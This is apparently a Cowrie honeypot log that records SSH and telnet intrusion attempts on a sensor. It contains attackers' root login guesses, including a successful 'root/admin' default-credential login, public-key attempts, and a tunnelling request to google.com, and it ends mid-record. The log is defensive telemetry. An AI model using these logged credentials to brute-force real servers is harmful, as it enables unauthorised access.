{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:5c:2a:cc:8a:53:96:50:d3:37:00:a9:4e:5e:b8:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAi8hB2CnYzUZJlQo2/ePUy1FEyIO0+MOjPSrG3VsKKmpR1rNfSrrFGLuk5atotHROaBtRDMuum1yUIIAqbrhDDVXZDWaG/lenku8oZQiMXmubb0SvuVut/+9KCa4gNu8QgkW0cA+XmfOnSAOeIN+Mw5y+ZludhWI0k2r7zRDhugQ2CUcinQpF9mvCiwrl80uSwcK0W3O3IWdHkooxmmenk8h2S8rwZTrK26sVGML3XDxxHUy5YQ3u7hi//jpLCDNk0KGE31HrBP7F4K7AoLy0XmLi5r1b7QW0C949vegPM0qRAqxFVuOxX5ypwDbfSjEODGbsA55esUGRQ2cdIQ6Z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:5c:2a:cc:8a:53:96:50:d3:37:00:a9:4e:5e:b8:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:56:00.468484Z","src_ip":"86.111.187.163","session":"40a7dc202712","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:5c:2a:cc:8a:53:96:50:d3:37:00:a9:4e:5e:b8:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAi8hB2CnYzUZJlQo2/ePUy1FEyIO0+MOjPSrG3VsKKmpR1rNfSrrFGLuk5atotHROaBtRDMuum1yUIIAqbrhDDVXZDWaG/lenku8oZQiMXmubb0SvuVut/+9KCa4gNu8QgkW0cA+XmfOnSAOeIN+Mw5y+ZludhWI0k2r7zRDhugQ2CUcinQpF9mvCiwrl80uSwcK0W3O3IWdHkooxmmenk8h2S8rwZTrK26sVGML3XDxxHUy5YQ3u7hi//jpLCDNk0KGE31HrBP7F4K7AoLy0XmLi5r1b7QW0C949vegPM0qRAqxFVuOxX5ypwDbfSjEODGbsA55esUGRQ2cdIQ6Z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:56:00.471072Z","src_ip":"86.111.187.163","session":"40a7dc202712","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:4a:b5:07:f9:60:11:59:ef:7f:8d:19:dd:29:d5:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCh+3TxnKzZpqnrC53Idk9jmZa4Vo9NThh40KcOHaIyuKwtQBbu8gOxOXnOouIN8RRSKwvbRRdmoFXdearFzxjOCZXGB2Q8bJKCxHmOzPW8DVRBsj2+kdYKkRdDAFP7RqyLWdXbh8+6VCumFGnJX9zU1Fjxd3D1FuZd/TBBgK/ibGFc9xUlN/NDBBsvnyFJ1/GVsMhdc+NuYSB8uyohpYTFci/GSO3bmjqspeVH6bSNVlanCP3mGzxRcUYMzIiFzoXnaqLdGNpK+eEhz/5GZtHy9nUUiwqWSiKVmJ+62+0vTQSznelQsa6Oi/qkKguBJUuLBw6c5J7OYWE0uHVRmAO5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6b:4a:b5:07:f9:60:11:59:ef:7f:8d:19:dd:29:d5:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:56:00.542896Z","src_ip":"86.111.187.163","session":"40a7dc202712","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:4a:b5:07:f9:60:11:59:ef:7f:8d:19:dd:29:d5:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCh+3TxnKzZpqnrC53Idk9jmZa4Vo9NThh40KcOHaIyuKwtQBbu8gOxOXnOouIN8RRSKwvbRRdmoFXdearFzxjOCZXGB2Q8bJKCxHmOzPW8DVRBsj2+kdYKkRdDAFP7RqyLWdXbh8+6VCumFGnJX9zU1Fjxd3D1FuZd/TBBgK/ibGFc9xUlN/NDBBsvnyFJ1/GVsMhdc+NuYSB8uyohpYTFci/GSO3bmjqspeVH6bSNVlanCP3mGzxRcUYMzIiFzoXnaqLdGNpK+eEhz/5GZtHy9nUUiwqWSiKVmJ+62+0vTQSznelQsa6Oi/qkKguBJUuLBw6c5J7OYWE0uHVRmAO5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:56:00.545780Z","src_ip":"86.111.187.163","session":"40a7dc202712","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4c:9d:23:8e:56:bf:2c:37:7e:3a:b6:0a:a4:27:85:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDmqx7orfO7FaSkEezOB/GSHZgTBsefP/wqmCI34hRj1q1agyPHHCDB5GFImv1Cv//muNN87D4OlOXE7ZTElA6eEyQGoSG7x6idhGQK9HOdKGC6x+CRLk+qEKIp4m/M+ppRM3OsHF8ReaWs/3hkYxyl+L/Txtt60pTmkc3YZZ+gKE5DTEdITbCFFQ3MXM5m3hiXZw9MLV5X3XlUSB5FfZw9eL1AYT+jPOakcJpZgDvMP87inMmdOna+Dj7h5zJV9wZ1aYrGWC2N6nmzvulDZRSesnWndYP+ITWJT1rL9nsV3Vqagu+LSY7bwfZxKd8D079FDMuvUam9G75VnXoFeWd9fvvUge2Cgm6Jjxf0eaiV28Pa0XfHerOC7aLr+OKW2kDPnLE+o5wiT7Em2cGSL5oqFAgaiCkuSTsNn0lfuxUY/RU7ArI+2PNym3FMjYr0yRq7BrwMJqhak2UIDkY/IeCCtHGf5uDQAwdLN7js3/p6TJOdOmy/nhF64NVW8AwkR1cY02VT4ZNHNrbk4lctpTNdIiI+5jVV58GHXm87/buixJ1Sd8WZGnnppyiB6GnT9Q8OJbm/3p58h5N2DlahtC/MA6pj8AcXhEzTOmbZfk6WuZyn/6GFmLsr+kDgV0uLFQAZ489/8voQMMwrXgpzRI5118Axy2oeOFV6Yzq5G1dW+w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4c:9d:23:8e:56:bf:2c:37:7e:3a:b6:0a:a4:27:85:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:56:00.617811Z","src_ip":"86.111.187.163","session":"40a7dc202712","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4c:9d:23:8e:56:bf:2c:37:7e:3a:b6:0a:a4:27:85:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDmqx7orfO7FaSkEezOB/GSHZgTBsefP/wqmCI34hRj1q1agyPHHCDB5GFImv1Cv//muNN87D4OlOXE7ZTElA6eEyQGoSG7x6idhGQK9HOdKGC6x+CRLk+qEKIp4m/M+ppRM3OsHF8ReaWs/3hkYxyl+L/Txtt60pTmkc3YZZ+gKE5DTEdITbCFFQ3MXM5m3hiXZw9MLV5X3XlUSB5FfZw9eL1AYT+jPOakcJpZgDvMP87inMmdOna+Dj7h5zJV9wZ1aYrGWC2N6nmzvulDZRSesnWndYP+ITWJT1rL9nsV3Vqagu+LSY7bwfZxKd8D079FDMuvUam9G75VnXoFeWd9fvvUge2Cgm6Jjxf0eaiV28Pa0XfHerOC7aLr+OKW2kDPnLE+o5wiT7Em2cGSL5oqFAgaiCkuSTsNn0lfuxUY/RU7ArI+2PNym3FMjYr0yRq7BrwMJqhak2UIDkY/IeCCtHGf5uDQAwdLN7js3/p6TJOdOmy/nhF64NVW8AwkR1cY02VT4ZNHNrbk4lctpTNdIiI+5jVV58GHXm87/buixJ1Sd8WZGnnppyiB6GnT9Q8OJbm/3p58h5N2DlahtC/MA6pj8AcXhEzTOmbZfk6WuZyn/6GFmLsr+kDgV0uLFQAZ489/8voQMMwrXgpzRI5118Axy2oeOFV6Yzq5G1dW+w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:56:00.619778Z","src_ip":"86.111.187.163","session":"40a7dc202712","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:17:1c:38:26:ec:e4:d2:88:eb:4b:d0:8f:5b:56:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9SxeUJEXWjdivFGi9o+gfLmPMgnm1VJ4pPWE8MgKjCej4cB0Xrv2dpZ6DJiSrh9wweNGeXk0K72J0VKOwzNiCe1AvzB4kYjTn/AswBCQGwSdoJY5Bus1VTLWmvPZH+RL5jId/e1dh8qx0xpERYdYhBH4+wxczLwaiE1J2ImFsSxnm+BV1iEMOrVRFNc5Jj2YxsWHM4X4+WmNAWBnRerNMQNlGIdYI4JMaHp1Weofvy/d73TLQVzENwjxZmC4A5BROZLfN1RdknOlKJAa3VKc5XXHUW7oU2pYSKEmDchhE1Wsr7RYFgcixy2pA+9ozcRpUoGwt3cqN0bFsCCO/MTwRFspDm3G11d40JLDWV/xHCb+yH7/104/fV+zlrke94NLCIYBLZ8eQ48UJj6kx0hSq08uMbKISJjCPVdq46G3cpMR3zgv7oByDoTaD3qwtToCrJLa0JFAU0gcr1y2PnOjxLw41Df8iiPHtVQobA3AXXse/EqAT8y38KDye505pyMc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:17:1c:38:26:ec:e4:d2:88:eb:4b:d0:8f:5b:56:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:56:00.690971Z","src_ip":"86.111.187.163","session":"40a7dc202712","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:17:1c:38:26:ec:e4:d2:88:eb:4b:d0:8f:5b:56:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9SxeUJEXWjdivFGi9o+gfLmPMgnm1VJ4pPWE8MgKjCej4cB0Xrv2dpZ6DJiSrh9wweNGeXk0K72J0VKOwzNiCe1AvzB4kYjTn/AswBCQGwSdoJY5Bus1VTLWmvPZH+RL5jId/e1dh8qx0xpERYdYhBH4+wxczLwaiE1J2ImFsSxnm+BV1iEMOrVRFNc5Jj2YxsWHM4X4+WmNAWBnRerNMQNlGIdYI4JMaHp1Weofvy/d73TLQVzENwjxZmC4A5BROZLfN1RdknOlKJAa3VKc5XXHUW7oU2pYSKEmDchhE1Wsr7RYFgcixy2pA+9ozcRpUoGwt3cqN0bFsCCO/MTwRFspDm3G11d40JLDWV/xHCb+yH7/104/fV+zlrke94NLCIYBLZ8eQ48UJj6kx0hSq08uMbKISJjCPVdq46G3cpMR3zgv7oByDoTaD3qwtToCrJLa0JFAU0gcr1y2PnOjxLw41Df8iiPHtVQobA3AXXse/EqAT8y38KDye505pyMc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:56:00.694678Z","src_ip":"86.111.187.163","session":"40a7dc202712","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:56:00.767081Z","src_ip":"86.111.187.163","session":"40a7dc202712","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.129.208","src_port":46986,"dst_ip":"10.17.0.5","dst_port":22,"session":"241a03f021e3","protocol":"ssh","message":"New connection: 162.241.129.208:46986 (10.17.0.5:22) [session: 241a03f021e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:56:39.752439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:56:39.756855Z","src_ip":"162.241.129.208","session":"241a03f021e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:56:39.784518Z","src_ip":"162.241.129.208","session":"241a03f021e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"B1tf1n3x#M@st3r!P@ss","message":"login attempt [root/B1tf1n3x#M@st3r!P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:56:39.867990Z","src_ip":"162.241.129.208","session":"241a03f021e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:56:40.898613Z","src_ip":"162.241.129.208","session":"241a03f021e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.220.101.161","src_port":56631,"dst_ip":"10.17.0.5","dst_port":22,"session":"e619b9bb669e","protocol":"ssh","message":"New connection: 185.220.101.161:56631 (10.17.0.5:22) [session: e619b9bb669e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:57:18.798397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_9.9","message":"Remote SSH version: SSH-2.0-OpenSSH_9.9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:57:18.895530Z","src_ip":"185.220.101.161","session":"e619b9bb669e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1cc79c7da9b5d5eead2c60983332a556","hasshAlgorithms":"sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,3des-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","3des-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1cc79c7da9b5d5eead2c60983332a556","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:57:19.010441Z","src_ip":"185.220.101.161","session":"e619b9bb669e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmvEhhfC8Hkqvut8spTxhahy1wKRJ/Bgy8HRDj6n+9EWntZc/L9zfjgReYfwWiZbNX5ziI4dv5lsUAMyCjbqxI4R0Vr5zoQf+YUrQ9nLwIjmkggnqPObpHoEz/n3xvNudIKXjWpEL3b5Be17y8vF01jzFc75asMXz5rLbYOi0EamMu5E+FxhaqNfMMasAkhpom4XfdF3/FZH41UTiaWhoZoPc8KcLJqotmlIZ/z04m0HI9w7l9l+wrUVuEGYbFTN4g3cCtDI21d4AH2JtIJkkKApW4ElLNGasOpid5lDWUHbhbrD4/6Um1u1SqyOmdKopIzkllPFqxJZMjwcw8f9v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:57:19.776543Z","src_ip":"185.220.101.161","session":"e619b9bb669e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmvEhhfC8Hkqvut8spTxhahy1wKRJ/Bgy8HRDj6n+9EWntZc/L9zfjgReYfwWiZbNX5ziI4dv5lsUAMyCjbqxI4R0Vr5zoQf+YUrQ9nLwIjmkggnqPObpHoEz/n3xvNudIKXjWpEL3b5Be17y8vF01jzFc75asMXz5rLbYOi0EamMu5E+FxhaqNfMMasAkhpom4XfdF3/FZH41UTiaWhoZoPc8KcLJqotmlIZ/z04m0HI9w7l9l+wrUVuEGYbFTN4g3cCtDI21d4AH2JtIJkkKApW4ElLNGasOpid5lDWUHbhbrD4/6Um1u1SqyOmdKopIzkllPFqxJZMjwcw8f9v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:57:19.779191Z","src_ip":"185.220.101.161","session":"e619b9bb669e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:57:19.948559Z","src_ip":"185.220.101.161","session":"e619b9bb669e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.95.194.124","src_port":48822,"dst_ip":"159.203.135.109","dst_port":23,"session":"57de842ca0f0","protocol":"telnet","message":"New connection: 80.95.194.124:48822 (159.203.135.109:23) [session: 57de842ca0f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:57:30.254732Z"}
{"eventid":"cowrie.session.closed","duration":5.619478940963745,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:57:35.874044Z","src_ip":"80.95.194.124","session":"57de842ca0f0","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"google.com","dst_port":443,"src_ip":"185.220.101.161","src_port":57056,"message":"direct-tcp connection request to google.com:443 from 127.0.0.1:57056","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:57:39.717580Z","session":"e619b9bb669e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"google.com","dst_port":443,"ja4":"t12d3112h2_e8f1e7e78f70_64f78f54e6a2","message":"JA4 fingerprint for forwarded TLS to google.com:443: t12d3112h2_e8f1e7e78f70_64f78f54e6a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:57:39.940815Z","src_ip":"185.220.101.161","session":"e619b9bb669e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"google.com","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Iai\\xa9\\xe1\\x9dA\\xedZ%\\xa5\\x0e\\x05\\xe0[\\x08\\xbf(\\x95\\xb73\\xfcXAz\\xb2\\xfd\\xf0\\xbf)\\x98\\x00 F)\\x81\\xd5iA\\xb0\\x15\\x91\\xc5\\xd6\\xd8\\xca\\xe5\\x98\\x7f\\xcb:b\\nt\\xad\\x9a6q\\xdbFk~\\x08\\xbae\\x00>\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\x00\\x9f\\xcc\\xa9\\xcc\\xa8\\xcc\\xaa\\xc0+\\xc0/\\x00\\x9e\\xc0$\\xc0(\\x00k\\xc0#\\xc0'\\x00g\\xc0\\n\\xc0\\x14\\x009\\xc0\\t\\xc0\\x13\\x003\\x00\\x9d\\x00\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01u\\x00\\x00\\x00\\x0f\\x00\\r\\x00\\x00\\ngoogle.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x000\\x00.\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x02\\x03\\x03\\x01\\x02\\x01\\x03\\x02\\x02\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x1c\\xf3/\\xf2\\x9f\\xd09\\xc6\\x8a6\\xc0\\xed\\x8a\\x88\\x84\\x08\\x8c\\x8bz]`\\x12\\x0c2\\xbfM\\xa0\\xad\\x92\\xbc\\x12K\\x00\\x15\\x00\\xbb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to google.com:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Iai\\xa9\\xe1\\x9dA\\xedZ%\\xa5\\x0e\\x05\\xe0[\\x08\\xbf(\\x95\\xb73\\xfcXAz\\xb2\\xfd\\xf0\\xbf)\\x98\\x00 F)\\x81\\xd5iA\\xb0\\x15\\x91\\xc5\\xd6\\xd8\\xca\\xe5\\x98\\x7f\\xcb:b\\nt\\xad\\x9a6q\\xdbFk~\\x08\\xbae\\x00>\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\x00\\x9f\\xcc\\xa9\\xcc\\xa8\\xcc\\xaa\\xc0+\\xc0/\\x00\\x9e\\xc0$\\xc0(\\x00k\\xc0#\\xc0'\\x00g\\xc0\\n\\xc0\\x14\\x009\\xc0\\t\\xc0\\x13\\x003\\x00\\x9d\\x00\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01u\\x00\\x00\\x00\\x0f\\x00\\r\\x00\\x00\\ngoogle.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x000\\x00.\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x02\\x03\\x03\\x01\\x02\\x01\\x03\\x02\\x02\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 